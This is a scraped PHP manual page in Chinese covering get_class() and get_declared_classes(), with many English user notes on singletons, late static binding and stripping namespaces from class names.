Produces, after PHP 4.2.0, the following:

a
b
c
d
e


返回对象的类名

  • ? get_class_vars
  • get_declared_classes ?
  • PHP Manual
  • 类/对象 函数
  • 返回对象的类名

get_class

(PHP 4, PHP 5, PHP 7, PHP 8)

get_class — 返回对象的类名

说明

get_class(object $object = ?): string

返回指定 object 的类名。

参数

object

要测试的对象。如果在类里，此参数可以省略。

Note: 自 PHP 7.2.0 起，object 不再允许显式传递 null 并抛出 E_WARNING。自 PHP 8.0.0 起，传递 null 会抛出 TypeError。

返回值

返回 object 实例的类名。

如果在类中省略 object， 则返回当前所在类的名称。

如果 object 是命名空间中某个类的实例，则会返回带上命名空间的类名。

错误／异常

如果用除对象外的其它类型调用 get_class()，则会抛出 TypeError。在 PHP 8.0.0 之前，会引发 E_WARNING 级别的错误。

如果在类外不带任何参数调用 get_class()，会抛出 Error。在 PHP 8.0.0 之前，会引发 E_WARNING 级别的错误。

更新日志

版本 | 说明
8.0.0 | 在类外不带任何参数调用此函数将会抛出 Error。之前会引发 E_WARNING 并且函数会返回 false。
7.2.0 | 在此版本之前，object 的默认值是 null，它与不传递任何值有相同的效果。object 已经移除了默认值 null 且不再是有效的输入。

示例

Example #1 使用 get_class()

<?php

class foo {
function name()
{
echo "My name is " , get_class($this) , "\n";
}
}

// 创建对象
$bar = new foo();

// 类外调用
echo "Its name is " , get_class($bar) , "\n";

// 类内调用
$bar->name();

?>

以上示例会输出：

Its name is foo
My name is foo

Example #2 父类中使用 get_class()

<?php

abstract class bar {
public function __construct()
{
var_dump(get_class($this));
var_dump(get_class());
}
}

class foo extends bar {
}

new foo;

?>

以上示例会输出：

string(3) "foo"
string(3) "bar"

Example #3 命名空间中的类中使用 get_class()

<?php

namespace Foo\Bar;

class Baz {
public function __construct()
{

}
}

$baz = new \Foo\Bar\Baz;

var_dump(get_class($baz));
?>

以上示例会输出：

string(11) "Foo\Bar\Baz"

参见

  • get_called_class() - 后期静态绑定（"Late Static Binding"）类的名称
  • get_parent_class() - 检索对象或者类的父级类名
  • gettype() - 获取变量的类型
  • get_debug_type() - 以适合调试的方式获取变量的类型名称
  • is_subclass_of() - 检查对象是否继承或者实现（implement）此类

User Contributed Notes

davidsch 07-Jun-2021 02:50
There are discussions below regarding how to create a singleton that allows subclassing. It seems with get_called_class  there is now a cleaner solution than what is discussed below, that does not require overriding a method per subclass.

e.g.

<?php
abstract class MySuperclass {
    static private $instances = array();

    static public function getInstance(): ACFBlock {
        $className = get_called_class();
        if (!isset(self::$instances[$className])) {
            self::$instances[$className] = new static();
        }
        return self::$instances[$className];
    }

    private function __construct() {
        // Singleton
     }
}

class MySubclass extends MySuperclass {
}

MySubclass::getInstance();
kiril (AT) aternus networks 10-Oct-2017 09:03
If you want the Class Name without the Namespace or if you've got here because basename() returns a dot (.) for the FQCN (Fully Qualified Class Name), here is the solution:

<?php
// FQCN: App\Http\Controllers\CustomerReportController

substr(self::class, (int)strrpos(self::class, '\\') + 1)

// returns: CustomerReportController
?>
Hayley Watson 24-Sep-2017 11:22
Although you can call a class's static methods from an instance of the class as though they were object instance methods, it's nice to know that, since classes are represented in PHP code by their names as strings, the same thing goes for the return value of get_class():

<?php
$t->Faculty();
SomeClass::Faculty(); // $t instanceof SomeClass
"SomeClass"::Faculty();
get_class($t)::Faculty();
?>

The first is legitimate, but the last makes it clear to someone reading it that Faculty() is a static method (because the name of the method certainly doesn't).
dense 17-Dec-2016 01:33
well, if you call  get_class() on an aliased class, you will get the original class name

<?php

class Person {}

class_alias('Person', 'User');

$me = new User;

var_dump( get_class($me) ); // 'Person'

?>
XyQrTw 28-Nov-2016 10:18
To get class name without the Namespace you can use easily this trick :
<?php
namespace My\Long\Namespace;

class MyClass {

    static function getClassName() {
        return basename(__CLASS__);
       // or with get_class();
        return basename(get_class());
    }

}

echo \My\Long\Namespace\MyClass::getClassName(); // Display : MyClass
?>
RQuadling at GMail dot com 19-Dec-2014 03:09
With regard to getting the class name from a namespaced class name, then using basename() seems to do the trick quite nicely.

<?php
namespace Foo\Bar;

abstract class Baz
{
  public function report()
  {
    echo
      '__CLASS__        ', __CLASS__, ' ', basename(__CLASS__), PHP_EOL,
      'get_called_class ', get_called_class(), ' ', basename(get_called_class()), PHP_EOL;
  }
}

class Snafu extends Baz
{
}

(new Snafu)->report();
?>

produces output of ...

__CLASS__        Foo\Bar\Baz   Baz
get_called_class Foo\Bar\Snafu Snafu
jjanak at webperfection dot net 03-Oct-2014 11:06
>= 5.5

::class
fully qualified class name, instead of get_class

<?php
namespace my\library\mvc;

class Dispatcher {}

print Dispatcher::class; // FQN == my\library\mvc\Dispatcher

$disp = new Dispatcher;

print $disp::class; // parse error
Anonymous 18-Sep-2014 08:55
If you want the path to an file if you have i file structure like this

project -> system -> libs -> controller.php
project -> system -> modules -> foo -> foo.php

and foo() in foo.php extends controller() in controller.php like this

<?PHP
namespace system\modules\foo;

class foo extends \system\libs\controller {
    public function __construct() {
        parent::__construct();
    }
}
?>

and you want to know the path to foo.php in controller() this may help you

<?PHP
namespace system\libs;

class controller {
    protected function __construct() {
        $this->getChildPath();
    }
    protected function getChildPath() {
        echo dirname(get_class($this));
    }
}
?>

<?PHP
$f = new foo();  // system\modules\foo
?>
var23rav at gmail dot com 27-Aug-2014 01:52
class A
{
function __construct(){
        //parent::__construct();
        echo $this->m =  'From constructor A: '.get_class();
        echo $this->m =  'From constructor A:- argument = $this: '.get_class($this);

        echo $this->m =  'From constructor A-parent: '.get_parent_class();
        echo $this->m =  'From constructor A-parent:- argument =  $this: '.get_parent_class($this);
    }
}
class B extends A
{
function __construct(){
        parent::__construct();
        echo $this->m =  'From constructor B: '.get_class();
        echo $this->m =  'From constructor B:- argument =  $this: '.get_class($this);

        echo $this->m =  'From constructor B-parent: '.get_parent_class();
        echo $this->m =  'From constructor B-parent:- argument =  $this: '.get_parent_class($this);
    }
}
$b = new B();
//----------------output--------------------

From constructor A: A
From constructor A:- argument = $this: B
From constructor A-parent:
From constructor A-parent:- argument = $this: A
From constructor B: B
From constructor B:- argument = $this: B
From constructor B-parent: A
From constructor B-parent:- argument = $this: A

Use get_class() to get the name of class  ,it will help you get the class name, in case you extend that class with another class and want to get the name of the class to which object is instance of user get_class($object)

when you create an object of class{$b object of B} which has a super class{Class A}.
uses these code IN Super Class {A}
--------------------------------------------
to get class name B{object instance} :  get_class($this)
to get class name A{super class}  : get_class() or get_parent_class($this)
dave at shax dot com 06-Mar-2014 04:36
A lot of people in other comments wanting to get the classname without the namespace. Some weird suggestions of code to do that - not what I would've written! So wanted to add my own way.

<?php
function get_class_name($classname)
{
    if ($pos = strrpos($classname, '\\')) return substr($classname, $pos + 1);
    return $pos;
}
?>

Also did some quick benchmarking, and strrpos() was the fastest too. Micro-optimisations = macro optimisations!

39.0954 ms - preg_match()
28.6305 ms - explode() + end()
20.3314 ms - strrpos()

(For reference, here's the debug code used. c() is a benchmarking function that runs each closure run 10,000 times.)

<?php
c(
    function($class = 'a\b\C') {
        if (preg_match('/\\\\([\w]+)$/', $class, $matches)) return $matches[1];
        return $class;
    },
    function($class = 'a\b\C') {
        $bits = explode('\\', $class);
        return end($bits);
    },
    function($class = 'a\b\C') {
        if ($pos = strrpos($class, '\\')) return substr($class, $pos + 1);
        return $pos;
    }
);
?>
Nanhe Kumar 20-Dec-2013 12:14
<?php
class Parent{
}
class Child extends Parent{
}
$c = new Child();
echo get_class($c) //Child
?>
<?php
class Parent{
  public function getClass(){
     echo get_class();
  }
}
class Child extends Parent{
}
$obj = new Child();
$obj->getClass(); //outputs Parent
?>
<?php
class Parent{
  public function getClass(){
     echo get_class($this);
  }
}
class Child extends Parent{
}
$obj = new Child();
$obj->getClass(); // Parent
?>
emmanuel dot antico at gmail dot com 10-May-2013 07:35
/**
 * Obtains an object class name without namespaces
 */
function get_real_class($obj) {
    $classname = get_class($obj);

    if (preg_match('@\\\\([\w]+)$@', $classname, $matches)) {
        $classname = $matches[1];
    }

    return $classname;
}
macnimble at gmail dot com 17-Mar-2012 07:24
Need a quick way to parse the name of a class when it's namespaced? Try this:

<?php
namespace Engine;
function parse_classname ($name)
{
  return array(
    'namespace' => array_slice(explode('\\', $name), 0, -1),
    'classname' => join('', array_slice(explode('\\', $name), -1)),
  );
}
final class Kernel
{
  final public function __construct ()
  {
    echo '<pre>', print_r(parse_classname(__CLASS__),1), '</pre>';
    // Or this for a one-line method to get just the classname:
    // echo join('', array_slice(explode('\\', __CLASS__), -1));
  }
}
new Kernel();
?>

Outputs:
Array
(
    [namespace] => Array
        (
            [0] => Engine
        )

    [classname] => Kernel
)
mail dot temc at gmail dot com 06-Dec-2011 02:51
People seem to mix up what __METHOD__, get_class($obj) and get_class() do, related to class inheritance.

Here's a good example that should fix that for ever:

<?php

class Foo {
 function doMethod(){
  echo __METHOD__ . "\n";
 }
 function doGetClassThis(){
  echo get_class($this).'::doThat' . "\n";
 }
 function doGetClass(){
  echo get_class().'::doThat' . "\n";
 }
}

class Bar extends Foo {

}

class Quux extends Bar {
 function doMethod(){
  echo __METHOD__ . "\n";
 }
 function doGetClassThis(){
  echo get_class($this).'::doThat' . "\n";
 }
 function doGetClass(){
  echo get_class().'::doThat' . "\n";
 }
}

$foo = new Foo();
$bar = new Bar();
$quux = new Quux();

echo "\n--doMethod--\n";

$foo->doMethod();
$bar->doMethod();
$quux->doMethod();

echo "\n--doGetClassThis--\n";

$foo->doGetClassThis();
$bar->doGetClassThis();
$quux->doGetClassThis();

echo "\n--doGetClass--\n";

$foo->doGetClass();
$bar->doGetClass();
$quux->doGetClass();

?>

OUTPUT:

--doMethod--
Foo::doMethod
Foo::doMethod
Quux::doMethod

--doGetClassThis--
Foo::doThat
Bar::doThat
Quux::doThat

--doGetClass--
Foo::doThat
Foo::doThat
Quux::doThat
ozana at omdesign dot cz 28-Nov-2011 07:53
Simplest way how to gets Class without namespace

<?php
namespace a\b\c\d\e\f;

class Foo {

  public function __toString() {
    $class = explode('\\', __CLASS__);
    return end($class);
  }
}

echo new Foo(); // prints Foo
?>
Michael Richey 31-Oct-2011 12:01
Attempting various singleton base class methods described on this page, I have created a base class and bridge function that allows it to work without get_called_class() if it's not available.  Unlike other methods listed here, I chose not to prevent use of __construct() or __clone().

<?php
abstract class Singleton {
    protected static $m_pInstance;
    final public static function getInstance(){
        $class = static::getClass();
        if(!isset(static::$m_pInstance[$class])) {
            static::$m_pInstance[$class] = new $class;
        }
        return static::$m_pInstance[$class];
    }
    final public static function getClass(){
        return get_called_class();
    }
}

// I don't remember where I found this, but this is to allow php < 5.3 to use this method.
if (!function_exists('get_called_class')) {
    function get_called_class($bt = false, $l = 1) {
        if (!$bt)
            $bt = debug_backtrace();
        if (!isset($bt[$l]))
            throw new Exception("Cannot find called class -> stack level too deep.");
        if (!isset($bt[$l]['type'])) {
            throw new Exception('type not set');
        }
        else
            switch ($bt[$l]['type']) {
                case '::':
                    $lines = file($bt[$l]['file']);
                    $i = 0;
                    $callerLine = '';
                    do {
                        $i++;
                        $callerLine = $lines[$bt[$l]['line'] - $i] . $callerLine;
                    } while (stripos($callerLine, $bt[$l]['function']) === false);
                    preg_match('/([a-zA-Z0-9\_]+)::' . $bt[$l]['function'] . '/', $callerLine, $matches);
                    if (!isset($matches[1])) {
                        // must be an edge case.
                        throw new Exception("Could not find caller class: originating method call is obscured.");
                    }
                    switch ($matches[1]) {
                        case 'self':
                        case 'parent':
                            return get_called_class($bt, $l + 1);
                        default:
                            return $matches[1];
                    }
                // won't get here.
                case '->': switch ($bt[$l]['function']) {
                        case '__get':
                            // edge case -> get class of calling object
                            if (!is_object($bt[$l]['object']))
                                throw new Exception("Edge case fail. __get called on non object.");
                            return get_class($bt[$l]['object']);
                        default: return $bt[$l]['class'];
                    }

                default: throw new Exception("Unknown backtrace method type");
            }
    }
}

class B extends Singleton {
}

class C extends Singleton {
}

$b = B::getInstance();
echo 'class: '.get_class($b);

echo '<br />';

$c = C::getInstance();
echo echo 'class: '.get_class($c);
?>
This returns:
class: b
class: c
me at nwhiting dot com 06-Dec-2010 08:14
Method for pulling the name of a class with namespaces pre-stripped.

<?php
/**
 * Returns the name of a class using get_class with the namespaces stripped.
 * This will not work inside a class scope as get_class() a workaround for
 * that is using get_class_name(get_class());
 *
 * @param  object|string  $object  Object or Class Name to retrieve name

 * @return  string  Name of class with namespaces stripped
 */
function get_class_name($object = null)
{
    if (!is_object($object) && !is_string($object)) {
        return false;
    }

    $class = explode('\\', (is_string($object) ? $object : get_class($object)));
    return $class[count($class) - 1];
}
?>

And for everyone for Unit Test goodiness!

<?php
namespace testme\here;

class TestClass {

    public function test()
    {
       return get_class_name(get_class());
    }
}

class GetClassNameTest extends \PHPUnit_Framework_TestCase
{
    public function testGetClassName()
    {
        $class  = new TestClass();
        $std  = new \stdClass();
        $this->assertEquals('TestClass', get_class_name($class));
        $this->assertEquals('stdClass', get_class_name($std));
        $this->assertEquals('Test', get_class_name('Test'));
        $this->assertFalse(get_class_name(null));
        $this->assertFalse(get_class_name(array()));
        $this->assertEquals('TestClass', $class->test());
    }
}
?>
Aaron 18-Jun-2010 11:14
This can sometimes be used in place of get_called_class(). I used this function in a parent class to get the name of the class that extends it.
ovidiu.bute [at] gmail.com 05-Apr-2010 10:23
If you are using namespaces this function will return the name of the class including the namespace, so watch out if your code does any checks for this. Ex:

namespace Shop;

<?php
class Foo
{
  public function __construct()
  {
     echo "Foo";
  }
}

//Different file

include('inc/Shop.class.php');

$test = new Shop\Foo();
echo get_class($test);//returns Shop\Foo
?>
Lanselot 11-Feb-2009 02:09
Beware if you're omitting the parameter on inherited classes.
It'll return the class name of the method where it's called.

<?php
class A {
    function foo() {
      return get_class();
    }
}
class B extends A {
   function bar() {
      return get_class();
   }
}
$instance = new B();
echo $instance->bar(); //Prints 'B';
echo $instance->foo(); //Prints 'A';
?>
danbettles at yahoo dot co dot uk 08-Oct-2008 11:56
It is possible to write a completely self-contained Singleton base class in PHP 5.3 using the new get_called_class function.  When called in a static method, this function returns the name of the class the call was made against.

<?php

abstract class Singleton {

    protected function __construct() {
    }

    final public static function getInstance() {
        static $aoInstance = array();

        $calledClassName = get_called_class();

        if (! isset ($aoInstance[$calledClassName])) {
            $aoInstance[$calledClassName] = new $calledClassName();
        }

        return $aoInstance[$calledClassName];
    }

    final private function __clone() {
    }
}

class DatabaseConnection extends Singleton {

    protected $connection;

    protected function __construct() {
        // @todo Connect to the database
    }

    public function __destruct() {
        // @todo Drop the connection to the database
    }
}

$oDbConn = new DatabaseConnection();  // Fatal error

$oDbConn = DatabaseConnection::getInstance();  // Returns single instance
?>

Full write-up in Oct 2008: http://danbettles.blogspot.com
Edward 21-Aug-2008 03:26
The code in my previous comment was not completely correct. I think this one is.

<?
abstract class Singleton {
    protected static $__CLASS__ = __CLASS__;

    protected function __construct() {
    }

    abstract protected function init();

    /**
     * Gets an instance of this singleton. If no instance exists, a new instance is created and returned.
     * If one does exist, then the existing instance is returned.
     */
    public static function getInstance() {
        static $instance;

        $class = self::getClass();

        if ($instance === null) {
            $instance = new $class();
            $instance->init();
        }

        return $instance;
    }

    /**
     * Returns the classname of the child class extending this class
     *
     * @return string The class name
     */
    private static function getClass() {
        $implementing_class = static::$__CLASS__;
        $original_class = __CLASS__;

        if ($implementing_class === $original_class) {
            die("You MUST provide a <code>protected static \$__CLASS__ = __CLASS__;</code> statement in your Singleton-class!");
        }

        return $implementing_class;
    }
}
?>
Edward 20-Aug-2008 05:42
With Late Static Bindings, available as of PHP 5.3.0, it is now possible to implement an abstract Singleton class with minimal overhead in the child classes. Late static bindings are explained here: http://nl2.php.net/manual/en/language.oop5.late-static-bindings.php

In short, it introduces a new 'static::' keyword, that is evaluated at runtime. In the following code I use it to determine the classname of the child Singleton class.

<?
abstract class Singleton {
    protected static $__CLASS__ = __CLASS__;
    protected static $instance;

    protected function __construct() {
        static::$instance = $this;
        $this->init();
    }

    abstract protected function init();

    protected function getInstance() {
        $class = static::getClass();

        if (static::$instance===null) {
            static::$instance = new $class;
        }

        return static::$instance;
    }

    private static function getClass() {
        if (static::$__CLASS__ == __CLASS__) {
            die("You MUST provide a <code>protected static \$__CLASS__ = __CLASS__;</code> statement in your Singleton-class!");
        }

        return static::$__CLASS__;
    }
}
?>

An example Singleton class can then be implemented as follows:

<?
class A extends Singleton {
    protected static $__CLASS__ = __CLASS__; // Provide this in each singleton class.

    protected function someFunction() {
        $instance = static::getInstance();
        // ...
    }
}
?>

Hope this helps you save some time :)
dave dot zap at gmail dot com 29-Apr-2008 09:13
Take care using the backtrace method to find the calling class of a static method, you should step backward through the array and find a match for your getInstance() function. In backtrace the class name you want is not always the last item in the array.

I will not post the whole singleton class here, but have made the following modification to Frederik Krautwald's method (found below)

<?php
$bt = debug_backtrace();
// this method is count($bt)-1) by Frederik will fall over when calling getInstance from within an include file.
//$class = $bt[count($bt) - 1]['class'];

for( $i=count($bt)-1 ; $i > 0 ; $i--)
{
    if($bt[$i]['function'] == 'getInstance')
    {
        $class = $bt[$i]['class'];
        break;
    }
}
?>
Anonymous 12-Apr-2008 02:01
In Perl (and some other languages) you can call some methods in both object and class (aka static) context. I made such a method for one of my classes in PHP5, but found out that static methods in PHP5 do not 'know' the name of the calling subclass', so I use a backtrace to determine it. I don't like hacks like this, but as long as PHP doesn't have an alternative, this is what has to be done:

public function table_name() {
        $result = null;
        if (isset($this)) { // object context
            $result = get_class($this);
        }
        else { // class context
            $result = get_class();
            $trace = debug_backtrace();
            foreach ($trace as &$frame) {
                if (!isset($frame['class'])) {
                    break;
                }
                if ($frame['class'] != $result) {
                    if (!is_subclass_of($frame['class'], $result)) {
                        break;
                    }
                    $result = $frame['class'];
                }
            }
        }
        return $result;
    }
andregs at NOSPAM dot gmail dot NOSPAM dot com 21-Feb-2008 01:17
After reading the previous comments, this is the best I've done to get the final class name of a subclass:

<?php

class Singleton
{
   private static $_instances = array();
   protected final function __construct(){}

   /**
    * @param string $classname
    * @return Singleton
    */
   protected static function getInstance()
   {
      $classname = func_get_arg(0);
      if (! isset(self::$_instances[$classname]))
      {
         self::$_instances[$classname] = new $classname();
      }
      return self::$_instances[$classname];
   }

}

class Child extends Singleton
{
   /**
    * @return Child
    */
   public static function getInstance()
   {
      return parent::getInstance(get_class());
   }
}

?>

Subclasses must override "getInstance" and cannot override "__construct".
dodgie74 at NOSPAM dot yahoo dot NOSPAM dot co dot uk 09-Sep-2007 05:40
As noted in bug #30934 (which is not actually a bug but a consequence of a design decision), the "self" keyword is bound at compile time. Amongst other things, this means that in base class methods, any use of the "self" keyword will refer to that base class regardless of the actual (derived) class on which the method was invoked. This becomes problematic when attempting to call an overridden static method from within an inherited method in a derived class. For example:

<?php
class Base
{
    protected $m_instanceName = '';

    public static function classDisplayName()
    {
        return 'Base Class';
    }

    public function instanceDisplayName()
    {
        //here, we want "self" to refer to the actual class, which might be a derived class that inherits this method, not necessarily this base class
        return $this->m_instanceName . ' - ' . self::classDisplayName();
    }
}

class Derived extends Base
{
    public function Derived( $name )
    {
        $this->m_instanceName = $name;
    }

    public static function classDisplayName()
    {
        return 'Derived Class';
    }
}

$o = new Derived('My Instance');
echo $o->instanceDisplayName();
?>

In the above example, assuming runtime binding (where the keyword "self" refers to the actual class on which the method was invoked rather than the class in which the method is defined) would produce the output:

My Instance - Derived Class

However, assuming compile-time binding (where the keyword "self" refers to the class in which the method is defined), which is how php works, the output would be:

My Instance - Base Class

The oddity here is that "$this" is bound at runtime to the actual class of the object (obviously) but "self" is bound at compile-time, which seems counter-intuitive to me. "self" is ALWAYS a synonym for the name of the class in which it is written, which the programmer knows so s/he can just use the class name; what the programmer cannot know is the name of the actual class on which the method was invoked (because the method could be invoked on a derived class), which it seems to me is something for which "self" ought to be useful.

However, questions about design decisions aside, the problem still exists of how to achieve behaviour similar to "self" being bound at runtime, so that both static and non-static methods invoked on or from within a derived class act on that derived class. The get_class() function can be used to emulate the functionality of runtime binding for the "self" keyword for static methods:

<?php
class Base
{
    protected $m_instanceName = '';

    public static function classDisplayName()
    {
        return 'Base Class';
    }

    public function instanceDisplayName()
    {
        $realClass = get_class($this);
        return $this->m_instanceName . ' - ' . call_user_func(array($realClass, 'classDisplayName'));
    }
}

class Derived extends Base
{
    public function Derived( $name )
    {
        $this->m_instanceName = $name;
    }

    public static function classDisplayName()
    {
        return 'Derived Class';
    }
}

$o = new Derived('My Instance');
echo $o->instanceDisplayName();
?>

Output:
My Instance - Derived Class

I realise that some people might respond "why don't use just just the class name with ' Class' appended instead of the classDisplayName() method", which is to miss the point. The point is not the actual strings returned but the concept of wanting to use the real class for an overridden static method from within an inherited non-static method. The above is just a simplified version of a real-world problem that was too complex to use as an example.

Apologies if this has been mentioned before.
bramus at bram dot us 20-Aug-2007 08:40
@ Frederik :

<?
$class = $bt[count($bt) - 1]['class'];
?>

should be

<?
$class = $bt[count($bt) - 2]['class'];
?>

;-)
Frederik Krautwald 25-Jun-2007 08:13
Due to PHP 5 engine that permits to get final class in a static called function, and this is a modified version of examples published below.

<?php
abstract class Singleton {
    protected static $_instances = array();

    protected function __construct() {}

    protected static function getInstance() {
        $bt = debug_backtrace();
        $class = $bt[count($bt) - 1]['class'];
        if (!isset(self::$_instances[$class])) {
            self::$_instances[$class] = new $class();
        }
        return self::$_instances[$class];
    }
}
class A extends Singleton {
    public static function getInstance() {
        return parent::getInstance();
    }
}
class B extends Singleton {
    public static function getInstance() {
        return parent::getInstance();
    }
}
class C extends A {
    public static function getInstance() {
        return parent::getInstance();
    }
}

$a = A::getInstance();
$b = B::getInstance();
$c = C::getInstance();

echo "\$a is a " . get_class($a) . "<br />";
echo "\$b is a " . get_class($b) . "<br />";
echo "\$c is a " . get_class($c) . "<br />";
?>

I don't know about if performance would increase if debug_backtrace() is skipped and instead have getInstance() to accept a passed class retrieved by get_class() method as parameter as described in a post below.

By having set getInstance() to protected in the Singleton class, the function is required to be overridden (good OOP practice).

One thing to mention is, that there is no error checking in case $class is null or undefined, which would result in a fatal error. At the moment, though, I can't see how it could happen when the getInstance() is protected, i.e. has to be overridden in a subclass -- but with good coding practice you should always error check.
mightye at gmail dot com 23-Jun-2007 06:20
To: Bryan

In this model it is still workable if your singleton variable is actually an array.  Consider:
<?php
abstract class Singleton {
    protected final static $instances = array();

    protected __construct(){}

    protected function getInstance() {
        $class = get_real_class(); // imaginary function returning the final class name, not the class the code executes from
        if (!isset(self::$instances[$class])) {
            self::$instances[$class] = new $class();
        }
        return self::$instances[$class];
    }
}
class A extends Singleton {
}
class B extends Singleton {
}

$a = A::getInstance();
$b = B::getInstance();

echo "\$a is a " . get_class($a) . "<br />";
echo "\$b is a " . get_class($b) . "<br />";
?>
This would output:
$a is a A
$b is a B

The only alternative as described elsewhere is to make getInstance() protected abstract, accept the class name as an argument, and extend this call with a public final method for every sub-class which uses get_class() in its local object scope and passes it to the superclass.

Or else create a singleton factory like this:
<?php
final class SingletonFactory {
    protected static $instances = array();

    protected getInstance($class) {
        if (!isset(self::$instances[$class])) {
            self::$instances[$class] = new $class();
        }
        return self::$instances[$class];
    }
}
?>
The downside to this of course to this latter model is that the class itself doesn't get to decide if it is a singleton, the calling code gets to decide this instead, and a class that really wants or *needs* to be a singleton has no way to enforce this, not even by making its constructor protected.

Basically these design patterns, and various other meta manipulations (things which operate on the nature of the object, not on the data the object holds) could benefit greatly from knowing exactly what the final type of this object is, and not having native access to this information obligates work-arounds.
janci 30-Apr-2007 12:00
To yicheng zero-four at gmail dot com: Another, maybe better example where finding out the real class (not the class we are in) in static method should be quite usefull is the Singleton pattern.

There is currently no way how to create an abstract Singleton class that could be used just by extending it without the need to change the extended class. Consider this example:
<?php
abstract class Singleton
{
    protected static $__instance = false;

    public static function getInstance()
    {
        if (self::$__instance == false)
        {
            // This acctually is not what we want, $class will always be 'Singleton' :(
            $class = get_class();
            self::$__instance = new $class();
        }
        return self::$__instance;
    }
}

class Foo extends Singleton
{
    // ...
}

$single_foo = Foo::getInstance();
?>
This piece of code will result in a fatal error saying: Cannot instantiate abstract class Singleton in ... on line 11

The best way I figured out how to avoid this requires simple but still a change of the extended (Foo) class:
<?php
abstract class Singleton
{
    protected static $__instance = false;

    protected static function getInstance($class)
    {
        if (self::$__instance == false)
        {
            if (class_exists($class))
            {
                self::$__instance = new $class();
            }
            else
            {
                throw new Exception('Cannot instantiate undefined class [' . $class . ']', 1);
            }
        }
        return self::$__instance;
    }
}

class Foo extends Singleton
{
    // You have to overload the getInstance method in each extended class:
    public static function getInstance()
    {
        return parent::getInstance(get_class());
    }
}

$single_foo = Foo::getInstance();
?>

This is of course nothing horrible, you will propably need to change something in the extended class anyway (at least the constructor access), but still... it is just not as nice as it possibly could be ;)
yicheng zero-four at gmail dot com 18-Jan-2007 12:22
This a response to luke at liveoakinteractive dot com and davidc at php dot net.  Static methods and variables, by definition, are bound to class types not object instances.  You should not need to dynamically find out what class a static method belongs to, since the context of your code should make it quite obvious.  Your questions reveals that you probably don't quite understand OOP quite yet (it took me a while as well).

Luke, the observed behavior from your particular code snippet makes perfect sense when you think about it.  The method getclass() is defined in BooBoof, so the __CLASS__ macro would be bound to BooBoof and defined in relation to the BooBoof class.  The fact that CooCoof is a subclass of BooBoof just means that it gains a shortcut to BooBoof::getclass().  So, in effect, you are really asking (in a convoluted way): "What is the class to which belongs the method call BooBoof::getclass()?"  The correct solution (if you actually want/need to do this) is to simply implement CooCoof::getclass() { return __CLASS__; } inside of the CooCoof definition, and any childclasses that you want to mimic this behavior.  CooCoof::getclass() will have the expected behavior.
luke at liveoakinteractive dot com 06-Dec-2006 07:03
This note is a response to the earlier post by davidc at php dot net. Unfortunately, the solution posted for getting the class name from a static method does not work with inherited classes.

Observe the following:
<?php
class BooBoof {
  public static function getclass() {
    return __CLASS__;
  }

  public function retrieve_class() {
    return get_class($this);
  }
}

class CooCoof extends BooBoof {
}

echo CooCoof::getclass();
// outputs BooBoof

$coocoof = new CooCoof;
echo $coocoof->retrieve_class();
// outputs CooCoof
?>

__CLASS__ and get_class($this) do not work the same way with inherited classes. I have been thus far unable to determine a reliable way to get the actual class from a static method.
benjaminhill at gmail dot com 27-Apr-2006 10:47
More funkyness:

class Parent {
   function displayTableName() {
      echo get_class($this);
      echo get_class();
   }
}

class Child {
   function __construct() {
      $this->displayTableName();
   }
}

Will return
- Child
- Parent

So when they say "the object isn't required in PHP5" - they don't really mean it.
refrozen dot com 05-Jul-2005 03:01
philip at cornado dot com, it returns the value of the class from which it was called, rather than the instance's name... causing inheritance to result in unexpected returns
MagicalTux at FF.ST 02-Feb-2004 04:11
Note that the constant __CLASS__ is different from get_class($this) :
<?
  class test {
    function whoami() {
      echo "Hello, I'm whoami 1 !\r\n";
      echo "Value of __CLASS__ : ".__CLASS__."\r\n";
      echo "Value of get_class() : ".get_class($this)."\r\n\r\n";
    }
  }
  class test2 extends test {
    function whoami2() {
      echo "Hello, I'm whoami 2 !\r\n";
      echo "Value of __CLASS__ : ".__CLASS__."\r\n";
      echo "Value of get_class() : ".get_class($this)."\r\n\r\n";
      parent::whoami(); // call parent whoami() function
    }
  }
  $test=new test;
  $test->whoami();
  $test2=new test2;
  $test2->whoami();
  $test2->whoami2();
?>

The output is :
Hello, I'm whoami 1 !
Value of __CLASS__ : test
Value of get_class() : test

Hello, I'm whoami 1 !
Value of __CLASS__ : test
Value of get_class() : test2

Hello, I'm whoami 2 !
Value of __CLASS__ : test2
Value of get_class() : test2

Hello, I'm whoami 1 !
Value of __CLASS__ : test
Value of get_class() : test2

In fact, __CLASS__ returns the name of the class the function is in and get_class($this) returns the name of the class which was created.


返回由已定义类的名字所组成的数组

  • ? get_class
  • get_declared_interfaces ?
  • PHP Manual
  • 类/对象 函数
  • 返回由已定义类的名字所组成的数组

get_declared_classes

(PHP 4, PHP 5, PHP 7, PHP 8)

get_declared_classes — 返回由已定义类的名字所组成的数组

说明

get_declared_classes(): array

返回由当前脚本中已定义类的名字组成的数组。

参数

此函数没有参数。

返回值

返回由当前脚本中已定义类的名字组成的数组。

Note:

需要注意的是额外类的出现依赖于你已编译到 PHP 中的库。这意味着你不能使用这些类名定义自己的类。在附录的 预定义类 部分有预定义类的列表。

更新日志

版本 | 说明
7.4.0 | 之前 get_declared_classes() 返回的顺序总是父类在前，子类在后。现在不会这样了。get_declared_classes() 的返回值将不再保证顺序。

示例

Example #1 get_declared_classes() 示例

<?php
print_r(get_declared_classes());
?>

以上示例的输出类似于：

Array
(
    [0] => stdClass
    [1] => __PHP_Incomplete_Class
    [2] => Directory
)

参见

  • class_exists() - 查类是否已经定义
  • get_declared_interfaces() - 返回一个数组包含所有已声明的接口
  • get_defined_functions() - 返回所有已定义函数的数组

User Contributed Notes

rmamdaminov at gmail dot com 20-Oct-2023 05:19
Note that this function also counts enums.

<?php

enum Bla
{
    case Foo;
}

var_dump(get_declared_classes());
?>

Result:
array(116) {
    ...
    [115]=> string(3) "Bla"
}
brain at code dot com 14-Feb-2014 08:53
get-declared-classes makes no sense at all, if u maybe, later for production, merge class files in one package file.

lets say: package.php
print_r(get_declared_classes());
class declaredHere { }
print_r(get_declared_classes());

so in this case, the declaredHerr class is defined at the first call of print_r();
because PHP-complier runs a hole file and declare Stuff before running the code.

But (Lovely PHP):
print_r(get_declared_classes());
if(true){
class declaredHere { }
}
print_r(get_declared_classes());
Will print the declaredHere class only in the second print_r.

Its not a Bug it a...
yarco dot wang at gmail dot com 24-Nov-2013 07:32
those above comments are too old.
now, whatever the order is, the output will be the same:

<?php
class Test1
{}

print_r(get_declared_classes());

class Test2
{}

print_r(get_declared_classes());

?>

will output the same result.
dcahh at gmx de 29-Feb-2008 09:23
This function considers only classes and subclasses. Not subsubclasses.

